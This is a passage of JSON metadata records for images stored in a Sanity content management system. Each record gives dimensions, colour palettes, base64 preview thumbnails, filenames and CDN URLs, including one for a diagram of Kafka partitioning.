{"_createdAt":"2024-03-13T09:50:54Z","_id":"image-61c143a48cc372a0fb8a8ffe5f739b2b82582528-1736x1080-png","_rev":"OV356XeIB1EzdOIfIzqchG","_type":"sanity.imageAsset","_updatedAt":"2024-03-13T09:50:54Z","assetId":"61c143a48cc372a0fb8a8ffe5f739b2b82582528","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VEPZAax[4Tb]00|{$zS^jbWY00S1PUI;u4;zso9^NIOY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6074074074074074,"height":1080,"width":1736},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAADFklEQVQokUWRXWwUBRSF58knng1FBAw8SCrWbTdtgV1sq1KjVqKGQEx8KP4EYoypRh9M9ElcNGostWKEsmCh26WttmnpYouhjT8NEJLGKAEtRZZu92dmdudvd2dmZ+YzOyX1JufpnnPuybnCpvXbaNjcyNN1u3ivYydT7wdJRhq4+2Ej199oYm5PE9OtjSRCQRI76pkKBbjU9hjTrQF6g03sf/hxAptbqN3YTNOD2xAO76ulr6uT818c5XL0BAvD35H84TiL505x/ft+rh0/y9yxAX7rHeD3njNc6TnNfG+UP4+d5Gp3H5OfR+n/+Ft6Xn+br1ubEG50b2Hpp8MUk7ewZYWyKKNn8iiZAlIqT/quxPI9pJMSuSWZQlrByKmUcgrlnIJ6J8Vi7CTzL4cQskcfIP/LZ9hFmep4Hjiuh2XZaLpOJiNx53aW5O0c6WUJRVUxLQvX9fB8BTjlIumJGH/sb0ZIvruW7HgESxV9guc6OI6DaZoYukEmpXBjXuKvayJL/xbQNMPfVSoVXMfxNXZRJ/njGeaeDyIsdNawHD+CpUj+Nfee4QpcSoaDmDLJJEvoio1TcVf3Va7nGxosDvfz8+4Awq3X1pGKf4pZWEm4SvYFLpWKg2XamGUL266mqhr+b+p5Hqah83f8NOdbHkW4/MJa/jn1CYaUoeK42JaFZVmUymW/Q1VVV1HtT9M0SqUipmX6vIrjUFIVbg5GufDEIwhf1tUw2x1BzWVxXBfbtiiXTQqqQU4qIEoykiwjy3lyYhUSmi5jlDVK1S6rtWgqC0NRZp6tRWjfsJG+SIRsKrWSrFhE1w3yBQ1RyiNKEpIkIcuyby6KMooqoep5dGPlQUZe5mbsBNO7tyLU3P8Qr3YeZODsIInxSaZGJ7g0lmB2dJLZkVEuxoeYjJ1jPDbExOAIU8PjzIwmmBlL8OtYgisTCa6ODHPxgy7i9RsQ7luzjk1b6ti+vY328FPs3dnOgVAHb+3q4J3Qk7zZGOaVhhB768PsC7ZxoPk5DoVe4lD4RbrCe/io5RmOtLTyVWAr36xfw3+z9AG0gOZqmwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d4744","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94180a","foreground":"#fff","population":1.53,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e97e0f","foreground":"#fff","population":4.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7becd","foreground":"#000","population":0.81,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9e638","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a7cb0","foreground":"#fff","population":1.84,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e97e0f","foreground":"#fff","population":4.54,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2024-03-13_10-04-38.png","path":"images/sczeoy4w/production/61c143a48cc372a0fb8a8ffe5f739b2b82582528-1736x1080.png","sha1hash":"61c143a48cc372a0fb8a8ffe5f739b2b82582528","size":510058,"uploadId":"kUdShLd0CInSJbtriy9Zqz2JBeug2ob7","url":"https://cdn.sanity.io/images/sczeoy4w/production/61c143a48cc372a0fb8a8ffe5f739b2b82582528-1736x1080.png"} {"_createdAt":"2023-11-09T13:02:27Z","_id":"image-61e68aa213fc4e4f8aff37942fa3f00bf95bde51-1133x1133-jpg","_rev":"NWrqsLAqXssHXTeZSEywIS","_type":"sanity.imageAsset","_updatedAt":"2023-11-09T13:02:27Z","assetId":"61e68aa213fc4e4f8aff37942fa3f00bf95bde51","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eULNc39FnOXSRiOuozWXn$o0.Tt8WAsmoMItR+tRRiW;%3s.M{ozNH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1133,"width":1133},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAYFAgf/xAAkEAACAQQCAgEFAAAAAAAAAAABAgMABAURBjESE0EhMlFxkf/EABYBAQEBAAAAAAAAAAAAAAAAAAMBAv/EABsRAAIDAQEBAAAAAAAAAAAAAAECAAMhETET/9oADAMBAAIRAxEAPwCtg5NbC2eVIpAI30zRNsbrdtsxC0IvPe7KO2I6FeM4bKZeDjSrkce4kLeT+C9fz5qy4xyads6cXkMZ6bSSBXhcKez+TRfW040U01jVlvNdkMGgsbeWNx5q57O6V1jsFNc2/tuJTEWY+Kb6X4pQtbd08YcjLVSBqzIxl20yY+B44vWzkMAv3a63VlYeq7v4o5reDQJ0Qn16pSt06pJmb8IEgef8lyOM5FJbWjosKougV/dKUqKoI8kZiD7P/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a3a33","foreground":"#fff","population":2.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#80432e","foreground":"#fff","population":3.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#93adc5","foreground":"#000","population":6.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#93adc5","foreground":"#000","population":6.61,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ec1dc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d7f6e","foreground":"#fff","population":4.77,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eaae76","foreground":"#000","population":1.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"idealo-unternehmen-kultur.jpg","path":"images/sczeoy4w/production/61e68aa213fc4e4f8aff37942fa3f00bf95bde51-1133x1133.jpg","sha1hash":"61e68aa213fc4e4f8aff37942fa3f00bf95bde51","size":202649,"uploadId":"JeUozgL8tKqvZqYhOaW0AQaGofU6UgbD","url":"https://cdn.sanity.io/images/sczeoy4w/production/61e68aa213fc4e4f8aff37942fa3f00bf95bde51-1133x1133.jpg"} {"_createdAt":"2024-04-02T07:00:38Z","_id":"image-9edcaefca4a9af64fca2f4a9a03fc2c0b474c5f4-366x366-jpg","_rev":"9k1srJVIAf7BJJgtqkiwHU","_type":"sanity.imageAsset","_updatedAt":"2024-04-03T12:05:30Z","altText":null,"assetId":"9edcaefca4a9af64fca2f4a9a03fc2c0b474c5f4","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e8Am3*={0Y16^O^-xZ58EN-45SNd=r-7S60jNH}=-TI@ESWX${odRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":366,"width":366},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGgABAAIDAQAAAAAAAAAAAAAAAAQFAQMGB//EAB8QAAIBBAMBAQAAAAAAAAAAAAECAAMEBREGEiFRMv/EABgBAAIDAAAAAAAAAAAAAAAAAAQFAgMG/8QAIBEAAQQBBAMAAAAAAAAAAAAAAQACAxEEEiEiMjFBgf/aAAwDAQACEQMRAD8A8+4zj6WUzFK2uGZaJ9YqPZZc2wVpi1p1seXNInq3b7Oex+XqYW/o3NNOwJ6tv4ZIyubu80NVR0t0JKrLppnty207iPKlEyM45scvSpGOzuJlho6iNbtA0pNzTV7ixRvyzEmbr5jTKqvgJ1ETPy9z9TJnVQix3ERDonHQN0M8DUV//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e3c5c","foreground":"#fff","population":0.7,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#243460","foreground":"#fff","population":16.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#243460","foreground":"#fff","population":16.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c99f88","foreground":"#000","population":0.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4a36f","foreground":"#000","population":0.82,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e754c","foreground":"#fff","population":1.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ad7642","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"Carlos-Olmos.jpg","path":"images/sczeoy4w/production/9edcaefca4a9af64fca2f4a9a03fc2c0b474c5f4-366x366.jpg","sha1hash":"9edcaefca4a9af64fca2f4a9a03fc2c0b474c5f4","size":15162,"title":null,"uploadId":"OrystkndudklWossDNCbsycAzXLcv9yt","url":"https://cdn.sanity.io/images/sczeoy4w/production/9edcaefca4a9af64fca2f4a9a03fc2c0b474c5f4-366x366.jpg"} {"_createdAt":"2024-04-02T07:02:01Z","_id":"image-6c605f62ffcc6e24ddfdfda543f10676c536b56a-1268x1871-jpg","_rev":"9k1srJVIAf7BJJgtqkiubw","_type":"sanity.imageAsset","_updatedAt":"2024-04-03T12:05:23Z","altText":null,"assetId":"6c605f62ffcc6e24ddfdfda543f10676c536b56a","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dNFYDat7AC%L~q%M-oozTe%M-Uof^+xuIps.?HxuRkR*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.677712453233565,"height":1871,"width":1268},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAeABQDASIAAhEBAxEB/8QAGQAAAwEBAQAAAAAAAAAAAAAAAAUGBwME/8QAJhAAAgEEAQMDBQAAAAAAAAAAAQMCAAQFEQYSEyEHQVEUIkJhcf/EABYBAQEBAAAAAAAAAAAAAAAAAAQBA//EAB8RAQACAQMFAAAAAAAAAAAAAAEAAgMEESETIjFBYf/aAAwDAQACEQMRAD8Af+o3qZ9PyBQ784QUAQmB8g1M5Pnljy65tLe6a5D4N6lTmPf4qXTZI5Bn7jIRkAI6Mg/8j81SN4bZ5BLp963hKEepUl+CD+6zchXteYmmmctOocfJ1vsje466Zb3E5dYO96Mtg++6KkspeOe1WoXbCtYWZxB1IgkbFFU8Qy7MQcLe2wyyGSkJ977SuZ2CK1bOuYzid46alWvSvQ6JeZVhj7phdBsCIygdjXinWYzOUusai2uHx7B86jsb/tW+FtYsRGPUFKNH3PYvL3M1wCGmMIDoA38UUgWsxgB1GilmVDaDaDP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5d4943","foreground":"#fff","population":6.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b3e29","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#966960","foreground":"#fff","population":7.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9bbae","foreground":"#000","population":2.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5a495","foreground":"#000","population":0.66,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#966960","foreground":"#fff","population":7.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c44c44","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"Grant-Holly.jpg","path":"images/sczeoy4w/production/6c605f62ffcc6e24ddfdfda543f10676c536b56a-1268x1871.jpg","sha1hash":"6c605f62ffcc6e24ddfdfda543f10676c536b56a","size":469200,"title":null,"uploadId":"WJTF67uTzU7rItpqVMz5ktOUTOCYAN3k","url":"https://cdn.sanity.io/images/sczeoy4w/production/6c605f62ffcc6e24ddfdfda543f10676c536b56a-1268x1871.jpg"} {"_createdAt":"2024-04-02T06:58:45Z","_id":"image-366c5b14c7b73311aa7285a1e299c89c9e8d877a-800x800-jpg","_rev":"9k1srJVIAf7BJJgtqkixRy","_type":"sanity.imageAsset","_updatedAt":"2024-04-03T12:05:43Z","altText":null,"assetId":"366c5b14c7b73311aa7285a1e299c89c9e8d877a","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCBezCn3%L4:~B^QM{%2M{-VRjxaays:NGxFs:NGWVWWI=e.-UR*Nw","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAQFBwb/xAAmEAABAwMDAgcAAAAAAAAAAAABAAIDBAURBhMxByEiI0FhcYHB/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwUB/8QAHBEAAgIDAQEAAAAAAAAAAAAAAAEDEQIEMRIh/9oADAMBAAIRAxEAPwDNZ6p24WFx2nDLh9qkvsNsp5JJqCry1xAMch759lKikE9aI3ODQW4yfRUOr7RTw3eOngrYJGcucDghTocVxsrT5OrSs33oxG1+h4Tz5z/xFn2jOolNpOyNtWw6oEby7czjOcIl839DUtKmcnTNxdIjk5LSD3XGXPJus5JJO4eflEW6/WFs8ROk8TyTyiIlDZ//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#67453a","foreground":"#fff","population":0.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#652b04","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d19d8d","foreground":"#000","population":8.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a29493","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d19d8d","foreground":"#000","population":8.78,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e8a8c","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#894d32","foreground":"#fff","population":8.47,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"Idriss-Neumann.jpeg","path":"images/sczeoy4w/production/366c5b14c7b73311aa7285a1e299c89c9e8d877a-800x800.jpg","sha1hash":"366c5b14c7b73311aa7285a1e299c89c9e8d877a","size":89060,"title":null,"uploadId":"bxElZtr7FBiPYTtAIkr94yC7fPREKIxO","url":"https://cdn.sanity.io/images/sczeoy4w/production/366c5b14c7b73311aa7285a1e299c89c9e8d877a-800x800.jpg"} {"_createdAt":"2022-10-24T15:55:56Z","_id":"image-620064c4f9222a189deb8f99dc0a45c858e90235-800x248-png","_rev":"7KkxN9iimNYT1MszXSlVOK","_type":"sanity.imageAsset","_updatedAt":"2022-10-24T16:01:31Z","altText":"New records A-I being assigned to partitions 1-3 randomly. Partitions get ADG, BEH and CFI. The consumer receives IFCHEGBDA. The order within partitions is preserved.","assetId":"620064c4f9222a189deb8f99dc0a45c858e90235","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.225806451612903,"height":248,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA5klEQVQYlV2Q64qFMAyEff+HXM5itbVJek1ardWzVPy18BEIycDMTFy+A/my3Hkw1iy3803bqqE637Lc71t5kTrmlPgKuft4kj/QHRSaT6cPB9g8qzCrCMAxnYnvxFfinvIDX0nuiUIzUI2V1fCis7ZibNksb9qrGZUiawJAsXQg7USCKIAFaHehT0D7aoYAqFqqMNgBizVBzbgo3LTXhvVWAOsQU4HB4WKfQuouNB97kuuFr5gboqglLuuwTX53ocXhtofUgASo+Nimp4D/fWTpSPJkDkiSuXO55TmR3z+/9udjNsh/dT5TudnRfiAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444b54","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#09217a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dae1fc","foreground":"#000","population":0.68,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4acd4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dae1fc","foreground":"#000","population":0.68,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#707c94","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#133feb","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"kafka-partitioning-random.png","path":"images/sczeoy4w/production/620064c4f9222a189deb8f99dc0a45c858e90235-800x248.png","sha1hash":"620064c4f9222a189deb8f99dc0a45c858e90235","size":21147,"title":null,"uploadId":"nQW3EyXGiMGStDv00I9edtTWySCKFxL5","url":"https://cdn.sanity.io/images/sczeoy4w/production/620064c4f9222a189deb8f99dc0a45c858e90235-800x248.png"} {"_createdAt":"2024-01-03T18:52:35Z","_id":"image-622af789cea6afc159ac978c5abdc05e9005c193-7008x4672-jpg","_rev":"cYm7NAkc6EQoa8jfA6dsUH","_type":"sanity.imageAsset","_updatedAt":"2024-01-03T18:52:35Z","assetId":"622af789cea6afc159ac978c5abdc05e9005c193","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VC7BNCRORqM{Ip_4acRkRjRjRPbEofocj]4mW?xZxtxa","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":4672,"width":7008},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHA//EACEQAAIBBAICAwAAAAAAAAAAAAECAwAEBREGIRIxIjJR/8QAFQEBAQAAAAAAAAAAAAAAAAAAAwT/xAAdEQADAAAHAAAAAAAAAAAAAAAAAQIDERITISJR/9oADAMBAAIRAxEAPwCL4K+4zHPIcxbTylt6MTaraxyfHIJS0sczp5/Vu/j+UgO5J36oikZWDDvxO9GndLU2gUnkUvE5jjltbsk8RYlyw2noH0KKRpJBcuZmRVL9kL0KKt2MW+3oSqZ4P//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#334063","foreground":"#fff","population":0.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041494","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#334063","foreground":"#fff","population":0.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8b29f","foreground":"#000","population":0.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5cb1ec","foreground":"#000","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#485d9c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1360dd","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"DSC02379.jpg","path":"images/sczeoy4w/production/622af789cea6afc159ac978c5abdc05e9005c193-7008x4672.jpg","sha1hash":"622af789cea6afc159ac978c5abdc05e9005c193","size":25126625,"uploadId":"riT3KaxR5u2vIZHVXGuegjybvw4IusOc","url":"https://cdn.sanity.io/images/sczeoy4w/production/622af789cea6afc159ac978c5abdc05e9005c193-7008x4672.jpg"} {"_createdAt":"2023-09-06T08:07:09Z","_id":"image-6271a1495517fdcaa5282c8dfbea9c576fd067f3-2174x184-png","_rev":"jBJgpqpGruZvOgVMUB5c2p","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:07:09Z","assetId":"6271a1495517fdcaa5282c8dfbea9c576fd067f3","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":11.815217391304348,"height":184,"width":2174},"exif":{"PixelXDimension":2174,"PixelYDimension":184,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAABCAYAAADeko4lAAAACXBIWXMAABYlAAAWJQFJUiTwAAAASklEQVQImR3LQQ6AIAwAQf//NQ/eTQSJhNJSA8YHrJHDnia79N75G2Pg7ogIKSVCCJRSMDNUlWs/iOuGxpNmNi2Lk+2l3c98a618vLVKIdIe41oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#565657","foreground":"#fff","population":2.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#592a39","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bababa","foreground":"#000","population":6.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bababa","foreground":"#000","population":6.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4c4ec","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#54749c","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ab526d","foreground":"#fff","population":1.38,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-biggquery-diagram.png","path":"images/sczeoy4w/production/6271a1495517fdcaa5282c8dfbea9c576fd067f3-2174x184.png","sha1hash":"6271a1495517fdcaa5282c8dfbea9c576fd067f3","size":88541,"uploadId":"6YmpSIsGnoZlS1ieEwBYPc3raOIhr4cH","url":"https://cdn.sanity.io/images/sczeoy4w/production/6271a1495517fdcaa5282c8dfbea9c576fd067f3-2174x184.png"} {"_createdAt":"2022-06-30T19:58:41Z","_id":"image-62a750c901228e1a6e86dcb1d2eb548897e95823-1428x877-gif","_rev":"CK1sLU2mnwa3vmbYWEc2Xx","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:23Z","assetId":"62a750c901228e1a6e86dcb1d2eb548897e95823","extension":"gif","metadata":{"_type":"sanity.imageMetadata","blurHash":"V09Qs@x]xb%Nt8%gV@V[ofj[bIf6V@ogae%MWBayjbaz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.628278221208666,"height":877,"width":1428},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAEG/8QAFxABAQEBAAAAAAAAAAAAAAAAAAERMf/EABYBAQEBAAAAAAAAAAAAAAAAAAACA//EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AMDZxbVTGiTAgD//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#334739","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#374d3d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#334739","foreground":"#fff","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f5947","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b1c7b8","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a8c92","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6a9477","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"62a750c901228e1a6e86dcb1d2eb548897e95823-1428x877.gif","path":"images/sczeoy4w/production/62a750c901228e1a6e86dcb1d2eb548897e95823-1428x877.gif","sha1hash":"62a750c901228e1a6e86dcb1d2eb548897e95823","size":692976,"uploadId":"p2Do7F7Y46aWnVIJpNudWRcbga80yrzi","url":"https://cdn.sanity.io/images/sczeoy4w/production/62a750c901228e1a6e86dcb1d2eb548897e95823-1428x877.gif"} {"_createdAt":"2023-12-20T15:21:33Z","_id":"image-62add3ece79cac95be25945d77ef73fb7f1a0522-1200x628-png","_rev":"sg5cBJWkRHo7pkcz4QCwYV","_type":"sanity.imageAsset","_updatedAt":"2023-12-20T15:21:33Z","assetId":"62add3ece79cac95be25945d77ef73fb7f1a0522","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNi@.%Xg+[dr~WpbaJieidbWZieUcEgf","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACKElEQVQokU2R21OMARyGv90kx1FK45wONqWDyooaOY0b7giVY4MSEqMc0rKnklpWpeGCP/V7HrN9Y8bFe/G7eeZ531/AjXJ5fEAmm2UqIVON8qpJphMy0ySzLTrXIh9bJdMmueOyfFJ+XZY/V2W9Twot8q1NVrsNGNoiz5tltk8+npXUGUn1Svq0pJMy36/5U5Ltkvke+ZKUlQH5fVX+XJFilywclsV6WWoqAbfK5DFJnZPsJcldlPmLki/dJWi3zhySqSp5VSVvaiRdJ4UO+douuQOSqZX8PsnU/AM2S2pA0hckc16yA5Lpk0yvpNr1RbWMxWU8kGdxebNTsgflc4Ms1EV2i0ckt9eAWxUyUS9vk/LhjMz1ymyXvO+Quc6NDXm5R8Y3yXhMJsvlXZXM10vhuBQ7ZeVEtOGXRgOux2Vkh4zWyONaGSulWp7slqfV8qxKnm6XiXKZKJOpCvmwRxYTEazYId87oywnDMJrgQzG5WaZDJXJcFxux+RuTO7H5GFcnm+T6d0yXSkzu+TTfllulZUuKRzbAFFs27AMwsFNhncrDUuGDyrlToWMBHInkHuBPCyT19WSbZRcg6QPSb5evnXIao8sN8tSIoKv9xq